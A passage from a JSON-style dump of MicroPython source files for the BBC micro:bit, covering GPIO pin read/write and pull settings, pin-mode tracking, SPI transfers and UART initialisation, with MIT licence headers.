mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_write_digital_obj, microbit_pin_write_digital);\n\nmp_obj_t microbit_pin_read_digital(mp_obj_t self_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    if (microbit_obj_pin_acquire(self, microbit_pin_mode_read_digital)) {\n        nrf_gpio_cfg_input(self->name, NRF_GPIO_PIN_PULLDOWN);\n    }\n    return mp_obj_new_int(nrf_gpio_pin_read(self->name));\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_read_digital_obj, microbit_pin_read_digital);\n\n#define SHIFT_PULL_MASK ((1<<NRF_GPIO_PIN_PULLDOWN) | (1<<NRF_GPIO_PIN_PULLUP) | (1<<NRF_GPIO_PIN_NOPULL))\n\n\nmp_obj_t microbit_pin_set_pull(mp_obj_t self_in, mp_obj_t pull_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    int pull = mp_obj_get_int(pull_in);\n    if (((1 << pull) & SHIFT_PULL_MASK) == 0) {\n        mp_raise_ValueError(\"invalid pull\");\n    }\n    /* Pull only applies in an read digital mode */\n    microbit_obj_pin_acquire(self, microbit_pin_mode_read_digital);\n    nrf_gpio_cfg_input(self->name, (nrf_gpio_pin_pull_t)pull);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_pull_obj, microbit_pin_set_pull);\n\n#define PULL_MASK (NRF_GPIO_PIN_PULLDOWN | NRF_GPIO_PIN_NOPULL | NRF_GPIO_PIN_PULLUP)\n\nmp_obj_t microbit_pin_get_pull(mp_obj_t self_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    const microbit_pinmode_t *mode = microbit_pin_get_mode(self);\n    /* Pull only applies in an read digital mode (and button mode behaves like that too) */\n    if (mode != microbit_pin_mode_read_digital && mode != microbit_pin_mode_button) {\n        pinmode_error(self);\n    }\n    uint32_t pull = (NRF_GPIO->PIN_CNF[self->name] >> GPIO_PIN_CNF_PULL_Pos) & PULL_MASK;\n    return mp_obj_new_int(pull);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_pull_obj, microbit_pin_get_pull);\n\nmp_obj_t microbit_pin_write_analog(mp_obj_t self_in, mp_obj_t value_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    int set_value;\n    if (mp_obj_is_float(value_in)) {\n        mp_float_t val = mp_obj_get_float(value_in);\n        set_value = val+0.5;\n    } else {\n        set_value = mp_obj_get_int(value_in);\n    }\n    if (set_value < 0 || set_value > MICROBIT_PIN_MAX_OUTPUT) {\n        mp_raise_ValueError(\"value must be between 0 and 1023\");\n    }\n    if (microbit_obj_pin_acquire(self, microbit_pin_mode_write_analog)) {\n        nrf_gpio_cfg_output(self->name);\n    }\n    pwm_set_duty_cycle(self->name, set_value);\n    if (set_value == 0)\n        microbit_obj_pin_acquire(self, microbit_pin_mode_unused);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_write_analog_obj, microbit_pin_write_analog);\n\nmp_obj_t microbit_pin_read_analog(mp_obj_t self_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    microbit_obj_pin_acquire(self, microbit_pin_mode_unused);\n    analogin_t obj;\n    analogin_init(&obj, (PinName)self->name);\n    int val = analogin_read_u16(&obj);\n    NRF_ADC->ENABLE = ADC_ENABLE_ENABLE_Disabled;\n    return mp_obj_new_int(val);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_read_analog_obj, microbit_pin_read_analog);\n\nmp_obj_t microbit_pin_set_analog_period(mp_obj_t self_in, mp_obj_t period_in) {\n    (void)self_in;\n    int err = pwm_set_period_us(mp_obj_get_int(period_in)*1000);\n    if (err) {\n        mp_raise_ValueError(\"invalid period\");\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_obj, microbit_pin_set_analog_period);\n\nmp_obj_t microbit_pin_set_analog_period_microseconds(mp_obj_t self_in, mp_obj_t period_in) {\n    (void)self_in;\n    int err = pwm_set_period_us(mp_obj_get_int(period_in));\n    if (err) {\n        mp_raise_ValueError(\"invalid period\");\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_microseconds_obj, microbit_pin_set_analog_period_microseconds);\n\nmp_obj_t microbit_pin_get_analog_period_microseconds(mp_obj_t self_in) {\n    (void)self_in;\n    int32_t period = pwm_get_period_us();\n    return mp_obj_new_int(period);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_analog_period_microseconds_obj, microbit_pin_get_analog_period_microseconds);\n\nmp_obj_t microbit_pin_is_touched(mp_obj_t self_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    const microbit_pinmode_t *mode = microbit_pin_get_mode(self);\n    if (mode != microbit_pin_mode_touch && mode != microbit_pin_mode_button) {\n        microbit_obj_pin_acquire(self, microbit_pin_mode_touch);\n        nrf_gpio_cfg_input(self->name, NRF_GPIO_PIN_NOPULL);\n    }\n    /* Pin is touched if it is low after debouncing */\n    return mp_obj_new_bool(!microbit_pin_high_debounced(self));\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_is_touched_obj, microbit_pin_is_touched);\n\n#define PULL_CONSTANTS \\\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PULL_UP), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_PULLUP) }, \\\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PULL_DOWN), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_PULLDOWN) }, \\\n    { MP_OBJ_NEW_QSTR(MP_QSTR_NO_PULL), MP_OBJ_NEW_SMALL_INT(NRF_GPIO_PIN_NOPULL) }\n\nSTATIC const mp_map_elem_t microbit_dig_pin_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)&microbit_pin_write_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)&microbit_pin_read_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)&microbit_pin_write_analog_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)&microbit_pin_set_analog_period_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)&microbit_pin_set_analog_period_microseconds_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_analog_period_microseconds), (mp_obj_t)&microbit_pin_get_analog_period_microseconds_obj },\n    PULL_CONSTANTS,\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)&microbit_pin_get_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)&microbit_pin_set_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)&microbit_pin_get_mode_obj },\n};\n\nSTATIC const mp_map_elem_t microbit_ann_pin_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)&microbit_pin_write_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)&microbit_pin_read_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)&microbit_pin_write_analog_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_analog), (mp_obj_t)&microbit_pin_read_analog_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)&microbit_pin_set_analog_period_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)&microbit_pin_set_analog_period_microseconds_obj },\n    PULL_CONSTANTS,\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)&microbit_pin_get_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)&microbit_pin_set_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)&microbit_pin_get_mode_obj },\n};\n\nSTATIC const mp_map_elem_t microbit_touch_pin_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_digital), (mp_obj_t)&microbit_pin_write_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_digital), (mp_obj_t)&microbit_pin_read_digital_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_analog), (mp_obj_t)&microbit_pin_write_analog_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read_analog), (mp_obj_t)&microbit_pin_read_analog_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period), (mp_obj_t)&microbit_pin_set_analog_period_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_analog_period_microseconds), (mp_obj_t)&microbit_pin_set_analog_period_microseconds_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_is_touched), (mp_obj_t)&microbit_pin_is_touched_obj },\n    PULL_CONSTANTS,\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_pull),(mp_obj_t)&microbit_pin_get_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_pull),(mp_obj_t)&microbit_pin_set_pull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_mode), (mp_obj_t)&microbit_pin_get_mode_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_dig_pin_locals_dict, microbit_dig_pin_locals_dict_table);\nSTATIC MP_DEFINE_CONST_DICT(microbit_ann_pin_locals_dict, microbit_ann_pin_locals_dict_table);\nSTATIC MP_DEFINE_CONST_DICT(microbit_touch_pin_locals_dict, microbit_touch_pin_locals_dict_table);\n\n\nconst mp_obj_type_t microbit_dig_pin_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitDigitalPin,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_dig_pin_locals_dict,\n};\n\nconst mp_obj_type_t microbit_ad_pin_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitAnalogDigitalPin,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_ann_pin_locals_dict,\n};\n\nconst mp_obj_type_t microbit_touch_pin_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitTouchPin,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_touch_pin_locals_dict,\n};\n\n\nvoid microbit_pin_init(void) {\n    nrf_gpio_cfg_input(microbit_p5_obj.name, NRF_GPIO_PIN_PULLUP);\n    nrf_gpio_cfg_input(microbit_p11_obj.name, NRF_GPIO_PIN_PULLUP);\n}\n\n\nconst microbit_pin_obj_t *microbit_obj_get_pin(mp_obj_t o) {\n    mp_obj_type_t *type = mp_obj_get_type(o);\n    if (type == &microbit_touch_pin_type || type == &microbit_ad_pin_type || type == &microbit_dig_pin_type) {\n        return (microbit_pin_obj_t*)o;\n    } else {\n        mp_raise_TypeError(\"expecting a pin\");\n    }\n}\n\nuint8_t microbit_obj_get_pin_name(mp_obj_t o) {\n    return microbit_obj_get_pin(o)->name;\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitpinmode.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"lib/pwm.h\"\n#include \"microbit/modmicrobit.h\"\n\nuint8_t microbit_pinmode_indices[32] = { 0 };\n\n\n#define DEBUG 0\n\nconst microbit_pinmode_t *microbit_pin_get_mode(const microbit_pin_obj_t *pin) {\n    uint8_t pinmode = microbit_pinmode_indices[pin->number];\n    if (pinmode == 0) {\n        pinmode = pin->initial_mode;\n    }\n#if DEBUG\n    if (pinmode >= sizeof(microbit_pinmodes)/sizeof(microbit_pinmode_t)) {\n        mp_hal_display_string(\"Illegal pinmode\");\n        return &microbit_pinmodes[0];\n    }\n#endif\n    return &microbit_pinmodes[pinmode];\n}\n\nstatic void set_mode(uint32_t pin, const microbit_pinmode_t *mode) {\n    uint32_t index = mode - &microbit_pinmodes[0];\n    microbit_pinmode_indices[pin] = index;\n    return;\n}\n\nvoid microbit_obj_pin_free(const microbit_pin_obj_t *pin) {\n    if (pin != NULL) {\n        set_mode(pin->number, microbit_pin_mode_unused);\n    }\n}\n\nbool microbit_obj_pin_can_be_acquired(const microbit_pin_obj_t *pin) {\n    const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin);\n    return current_mode->release != pinmode_error;\n}\n\nbool microbit_obj_pin_acquire(const microbit_pin_obj_t *pin, const microbit_pinmode_t *new_mode) {\n    const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin);\n\n    // The button mode is effectively a digital-in mode, so allow read_digital to work on a button\n    if (current_mode == microbit_pin_mode_button && new_mode == microbit_pin_mode_read_digital) {\n        return false;\n    }\n\n    if (current_mode != new_mode) {\n        current_mode->release(pin);\n        set_mode(pin->number, new_mode);\n        return true;\n    } else {\n        return false;\n    }\n}\n\nstatic void noop(const microbit_pin_obj_t *pin) {\n    (void)pin;\n}\n\nvoid pinmode_error(const microbit_pin_obj_t *pin) {\n    const microbit_pinmode_t *current_mode = microbit_pin_get_mode(pin);\n    nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, \"Pin %d in %q mode\", pin->number, current_mode->name));\n}\n\nstatic void analog_release(const microbit_pin_obj_t *pin) {\n    pwm_release(pin->name);\n}\n\nconst microbit_pinmode_t microbit_pinmodes[] = {\n    [MODE_UNUSED]        = { MP_QSTR_unused, noop },\n    [MODE_WRITE_ANALOG]  = { MP_QSTR_write_analog, analog_release },\n    [MODE_READ_DIGITAL]  = { MP_QSTR_read_digital, noop },\n    [MODE_WRITE_DIGITAL] = { MP_QSTR_write_digital, noop },\n    [MODE_DISPLAY]       = { MP_QSTR_display, pinmode_error },\n    [MODE_BUTTON]        = { MP_QSTR_button, pinmode_error },\n    [MODE_MUSIC]         = { MP_QSTR_music, pinmode_error },\n    [MODE_AUDIO_PLAY]    = { MP_QSTR_audio, noop },\n    [MODE_TOUCH]         = { MP_QSTR_touch, noop },\n    [MODE_I2C]           = { MP_QSTR_i2c, pinmode_error },\n    [MODE_SPI]           = { MP_QSTR_spi, pinmode_error }\n};\n"
  },
  {
    "path": "micropython/source/microbit/microbitspi.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include \"spi_api.h\"\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\ntypedef struct _microbit_spi_obj_t {\n    mp_obj_base_t base;\n    spi_t spi;\n} microbit_spi_obj_t;\n\nSTATIC void microbit_spi_check_initialised(microbit_spi_obj_t *self) {\n    // the spi variable will be set to a non-zero value by spi_init()\n    if (!self->spi.spi) {\n        mp_raise_ValueError(\"SPI not initialised\");\n    }\n}\n\nSTATIC mp_obj_t microbit_spi_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_baudrate, MP_ARG_INT, {.u_int = 1000000} },\n        { MP_QSTR_bits,     MP_ARG_INT, {.u_int = 8} },\n        { MP_QSTR_mode,     MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_sclk,     MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_mosi,     MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_miso,     MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n    };\n\n    // parse args\n    microbit_spi_obj_t *self = (microbit_spi_obj_t*)pos_args[0];\n    struct {\n        mp_arg_val_t baudrate, bits, mode, sclk, mosi, miso;\n    } args;\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args,\n        MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&args);\n\n    // get pins\n    const microbit_pin_obj_t *sclk = &microbit_p13_obj;\n    const microbit_pin_obj_t *mosi = &microbit_p15_obj;\n    const microbit_pin_obj_t *miso = &microbit_p14_obj;\n    if (args.sclk.u_obj != mp_const_none) {\n        sclk = microbit_obj_get_pin(args.sclk.u_obj);\n    }\n    if (args.mosi.u_obj != mp_const_none) {\n        mosi = microbit_obj_get_pin(args.mosi.u_obj);\n    }\n    if (args.miso.u_obj != mp_const_none) {\n        miso = microbit_obj_get_pin(args.miso.u_obj);\n    }\n\n    // initialise the pins\n    // note: we don't ever free the pins, so init'ing the SPI a second time on\n    // different pins will leave the old pins still in SPI mode\n    microbit_obj_pin_acquire(sclk, microbit_pin_mode_spi);\n    microbit_obj_pin_acquire(mosi, microbit_pin_mode_spi);\n    microbit_obj_pin_acquire(miso, microbit_pin_mode_spi);\n\n    // initialise the SPI\n    spi_init(&self->spi, (PinName)mosi->name, (PinName)miso->name, (PinName)sclk->name, NC);\n    spi_format(&self->spi, args.bits.u_int, args.mode.u_int, 0);\n    spi_frequency(&self->spi, args.baudrate.u_int);\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_spi_init_obj, 1, microbit_spi_init);\n\nSTATIC mp_obj_t microbit_spi_write(mp_obj_t self_in, mp_obj_t buf_in) {\n    microbit_spi_obj_t *self = (microbit_spi_obj_t*)self_in;\n    microbit_spi_check_initialised(self);\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(buf_in, &bufinfo, MP_BUFFER_READ);\n    const byte *buf = (const byte*)bufinfo.buf;\n    for (uint i = 0; i < bufinfo.len; ++i, ++buf) {\n        spi_master_write(&self->spi, *buf);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_spi_write_obj, microbit_spi_write);\n\nSTATIC mp_obj_t microbit_spi_read(size_t n_args, const mp_obj_t *args) {\n    microbit_spi_obj_t *self = (microbit_spi_obj_t*)args[0];\n    microbit_spi_check_initialised(self);\n    vstr_t vstr;\n    vstr_init_len(&vstr, mp_obj_get_int(args[1]));\n    mp_int_t byte_out = 0;\n    if (n_args == 3) {\n        byte_out = mp_obj_get_int(args[2]);\n    }\n    for (uint i = 0; i < vstr.len; ++i) {\n        vstr.buf[i] = spi_master_write(&self->spi, byte_out);\n    }\n    return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_spi_read_obj, 2, 3, microbit_spi_read);\n\nSTATIC mp_obj_t microbit_spi_write_readinto(mp_obj_t self_in, mp_obj_t write_buf, mp_obj_t read_buf) {\n    microbit_spi_obj_t *self = (microbit_spi_obj_t*)self_in;\n    microbit_spi_check_initialised(self);\n    mp_buffer_info_t write_bufinfo;\n    mp_get_buffer_raise(write_buf, &write_bufinfo, MP_BUFFER_READ);\n    const byte *wr_buf = (const byte*)write_bufinfo.buf;\n    mp_buffer_info_t read_bufinfo;\n    mp_get_buffer_raise(read_buf, &read_bufinfo, MP_BUFFER_WRITE);\n    byte *rd_buf = (byte*)read_bufinfo.buf;\n    for (uint i = 0; i < write_bufinfo.len; ++i, ++wr_buf, ++rd_buf) {\n        *rd_buf = spi_master_write(&self->spi, *wr_buf);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_3(microbit_spi_write_readinto_obj, microbit_spi_write_readinto);\n\nSTATIC const mp_map_elem_t microbit_spi_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)&microbit_spi_init_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&microbit_spi_write_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&microbit_spi_read_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write_readinto), (mp_obj_t)&microbit_spi_write_readinto_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_spi_locals_dict, microbit_spi_locals_dict_table);\n\nconst mp_obj_type_t microbit_spi_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitSPI,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_spi_locals_dict,\n};\n\nmicrobit_spi_obj_t microbit_spi_obj = {\n    {&microbit_spi_type},\n    .spi = {},\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbituart.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include <errno.h>\n#include \"pinmap.h\"\n#include \"serial_api.h\"\n#include \"py/runtime.h\"\n#include \"py/stream.h\"\n#include \"py/mphal.h\"\n#include \"microbit/modmicrobit.h\"\n\n// There is only one UART peripheral and it's already used by stdio (and\n// connected to USB serial).  So to access the UART we go through the\n// mp_hal_stdio functions.  The init method can reconfigure the underlying\n// UART peripheral to a different baudrate and/or pins.\n\ntypedef struct _microbit_uart_obj_t {\n    mp_obj_base_t base;\n} microbit_uart_obj_t;\n\n// timeout (in ms) to wait between characters when reading\nSTATIC uint16_t microbit_uart_timeout_char = 0;\n\nSTATIC mp_obj_t microbit_uart_init(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_baudrate, MP_ARG_INT, {.u_int = 9600} },\n        { MP_QSTR_bits,     MP_ARG_INT, {.u_int = 8} },\n        { MP_QSTR_parity,   MP_ARG_OBJ, {.u_obj = mp_const_none} },\n        { MP_QSTR_stop,     MP_ARG_INT, {.u_int = 1} },\n        { MP_QSTR_pins,     MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_tx,       MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n        { MP_QSTR_rx,       MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none } },\n    };\n\n    // parse args\n    //microbit_uart_obj_t *self = (microbit_uart_obj_t*)pos_args[0];\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    SerialParity parity;\n    if (args[2].u_obj == mp_const_none) {\n        parity = ParityNone;\n    } else {\n        parity = (SerialParity)mp_obj_get_int(args[2].u_obj);\n    }\n\n    // default pins are the internal USB-UART pins\n    PinName p_tx = TGT_TX;\n    PinName p_rx = TGT_RX;\n\n    // set tx/rx pins if they are given\n    if (args[5].u_obj != mp_const_none) {\n        p_tx = (PinName)microbit_obj_get_pin_name(args[5].u_obj);\n    }\n    if (args[6].u_obj != mp_const_none) {\n        p_rx = (PinName)microbit_obj_get_pin_name(args[6].u_obj);\n    }\n\n    // support for legacy \"pins\" argument\n    if (args[4].u_obj != mp_const_none) {\n        mp_obj_t *pins;\n        mp_obj_get_array_fixed_n(args[4].u_obj, 2, &pins);\n        p_tx = (PinName)microbit_obj_get_pin_name(pins[0]);\n        p_rx = (PinName)microbit_obj_get_pin_name(pins[1]);\n    }\n\n    // initialise the uart\n    // Note: we don't want to call serial_init() because it sends a single 0x00\n    // character on the line during initialisation.  This function has anyway\n    // already been called by the MicroBitSerial constructor so it's enough to\n    // just reconfigure the pins here, as would have been done by serial_init().\n    serial_t serial;\n    serial.uart = NRF_UART0;\n    NRF_GPIO->DIR |= (1 << p_tx);\n    NRF_GPIO->DIR &= ~(1 << p_rx);\n    NRF_UART0->PSELTXD = p_tx;\n    NRF_UART0->PSELRXD = p_rx;\n    pin_mode(p_tx, PullUp);\n    pin_mode(p_rx, PullUp);\n    serial_baud(&serial, args[0].u_int);\n    serial_format(&serial, args[1].u_int, parity, args[3].u_int);\n\n    // set the character read timeout based on the baudrate and 13 bits\n    microbit_uart_timeout_char = 13000 / args[0].u_int + 1;\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_uart_init_obj, 1, microbit_uart_init);\n\nSTATIC mp_obj_t microbit_uart_any(mp_obj_t self_in) {\n    (void)self_in;\n    if (mp_hal_stdin_rx_any()) {\n        return mp_const_true;\n    } else {\n        return mp_const_false;\n    }\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_uart_any_obj, microbit_uart_any);\n\nSTATIC const mp_map_elem_t microbit_uart_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_init), (mp_obj_t)&microbit_uart_init_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_any), (mp_obj_t)&microbit_uart_any_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&mp_stream_read_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_readline), (mp_obj_t)&mp_stream_unbuffered_readline_obj},\n    { MP_OBJ_NEW_QSTR(MP_QSTR_readinto), (mp_obj_t)&mp_stream_readinto_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&mp_stream_write_obj 